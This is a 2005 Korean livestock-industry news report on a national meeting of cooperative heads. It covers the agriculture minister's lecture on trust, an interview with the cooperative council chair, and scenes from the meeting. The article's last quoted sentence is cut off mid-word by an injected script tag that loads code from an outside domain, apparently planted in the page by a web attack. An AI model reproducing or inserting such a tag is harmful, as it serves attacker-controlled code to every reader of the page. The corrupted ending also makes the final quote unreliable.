<지상중계> 전국축협조합장 회의

2005-05-30     축산팀
△박홍수 농림부 장과 특별강연

“하루 일과가 끝나면서 만나는 직원에게 항상 묻는 말이 있습니다. 그게 뭔 줄 아십니까. `오늘 하루 밥값 하셨습니까?''입니다.”

박홍수 농림부 장관은 특별강연에 앞서 `밥값''이야기부터 했다. 밥값은 제 역할을 했느냐는 뜻이다. 국민들의 혈세로 봉급을 받아 생활하면서 제 역할을 다하지 못하는 공무원은 공무원의 자격이 없다는 강한 실천을 독촉하는 말이다.

5개월에 접어들어 이제부터 쓴 소리가 들리기 시작한다는 박 장관은 취임에도 그랬고 앞으로도 자신의 농정목표는 `신뢰''라고 강조했다.

“조합원과 조합이 신뢰관계로 뭉쳐 있어야 조합의 미래가 있듯이 농림부와 농민의 관계도 마찬가지입니다. 아무리 좋은 정책이라고 해도 농민들이 믿지 않으면 그것은 쓰레기에 불과할 뿐입니다.”

그래서 박 장관은 농림부의 각과 직원들에게 현장을 나가라고 채근한다고 한다. 그렇게 현장을 체험하게 되면 자신이 어떤 역할을 담당해야 하는 지 알게 되고, 인기에 편승하기 위한 정책이나 탁상행정이라는 소리를 듣지 않게 된다는 것이다.

농림부 직원들의 안일성이나 구태를 경계하면서 박 장관은 양축가들이나 농민들이 얼만큼 제 역할에 충실했느냐를 지적했다. 일부 농민들의 행위를 보면 자신들이 해야 할 일까지 정부에서 해주기를 바란다며 농민·양축가들의 인식 전환을 호소했다.

따라서 박 장관은 향후 농림부의 지원은 스스로 살고자 노력하는 농민들 위주가 될 것이라고 강조하면서 경쟁력이 있는 사람이나 조직은 어떤 어려움이 있어도 살아남게 될 것이라고 덧붙였다.

△〈현장 인터뷰〉이정백 전국축협운영협의회장

“조합 이기주의를 타파하고 일선축협과 중앙회가 연계해 국내 축산을 발전방향으로 이끌고 나가기 위한 다각적인 방안을 모색하는 귀중한 자리입니다.”

이정백 전국축협운영협의회장(경북 상주축협 조합장)은 조합장들이 시간 맞추기가 어려웠던 만큼 좋은 이야기들이 많이 나왔으면 좋겠다고 말했다.

이 협의회장은 “최근 소 부루세라의 확산과 음식점 원산지표시제도의 도입 등은 국내 축산 뿐만 아니라 전국민의 건강에 직결된 만큼 전국의 축협조합장들이 힘을 모아야 한다”고 주장했다.

특히 중앙회가 대형 백화점과 할인매장과의 제휴를 통해 일선조합의 축산물을 팔아준다는 방향에 대해 이와 병행해서 도시-산지형 협동조합간의 협동이 활성화돼야 한다는 입장을 고수하고 있는 이정백 협의회장은 그것이 바로 통합 시너지효과이며 새농촌 새농협의 핵심이라고 지적했다.

△회의 이모저모

○…지난 26·27일 양일간 경기도 안성 소재 농협 안성교육관에서 개최된 전국축협조합장 회의는 농협중앙회장이 참석하지 못한 관계로 자칫 맥빠진 회의가 될 뻔하다 이날 하루 종일 국회에 나갔던 박홍수 농림부 장관이 입장하면서 열띤 분위기로 반전됐다.

한 조합장은 박 장관의 성의있는 강의와 답변을 들으면서 “정대근 중앙회장이 급한 일 때문에 참석하지 못했다곤 하지만 통합된지 5년이나 지난 지금 불평불만만 늘어놓을 것이라고 추측했다면 뭔가 잘못알고 있는 것”이라면서 “조합장들이 화를 내는 것은 조합장들의 대표자로서 조합장들이 모인 자리에 함께 있지 못하다는 아쉬움 때문임을 알아야 한다”고 한마디.

○…송석우 농협중앙회 축산경제대표는 향후 축산경제가 해야 할 일은 일선축협과 중앙회간의 긴밀한 연계, 컨설팅 업무 강화로 일선조합의 건전한 경영이 자리매김하는 것, 악성 가축질병의 방역과 퇴치라고 강조하면서 이 3가지가 현실화될 수 있도록 최선의 노력을 다하자고 강조.

송 대표는 또 조합 특화사업의 활성화를 위해 700억원의 자금을 조성하고 신청을 받았지만 내용은 특화사업이라고 할만한 것이 거의 없었다면서 경제사업에 대한 개념을 확실히 가져야 한다고 강조했다. 송 대표는 조합들이 700억원을 어차피 지원할 돈이라고 생각한다면 큰 오산이라고 지적하면서 이월시키는 한이 있어도 확실한 목적과 구체적인 실행방안을 마련하지 않으면 지원하지 않을 작정이라고 말했다.

○…전국 축협조합장 회의에 참석한 박홍수 장관는 시종일관 농정의 핵심은 “신뢰회복에 있다”고 강한 어조로 어필. 이를 위해 농협중앙회도 철저한 자기반성을 통해 농민들로부터 신뢰받는 협동조합이 될 것을 주문.

박 장관은 특히 담보가 있어야만 자금이 지원된다는 현실에 안타까워 하면서 직접 칠판에 글을 쓰면서 강의하는 열의를 보이기도.

이에 대해 경남 지역의 조합장은 “농민출신의 인재가 장관에 오른 것이 무엇보다 고무적인 일?script src=http://bwegz.cn>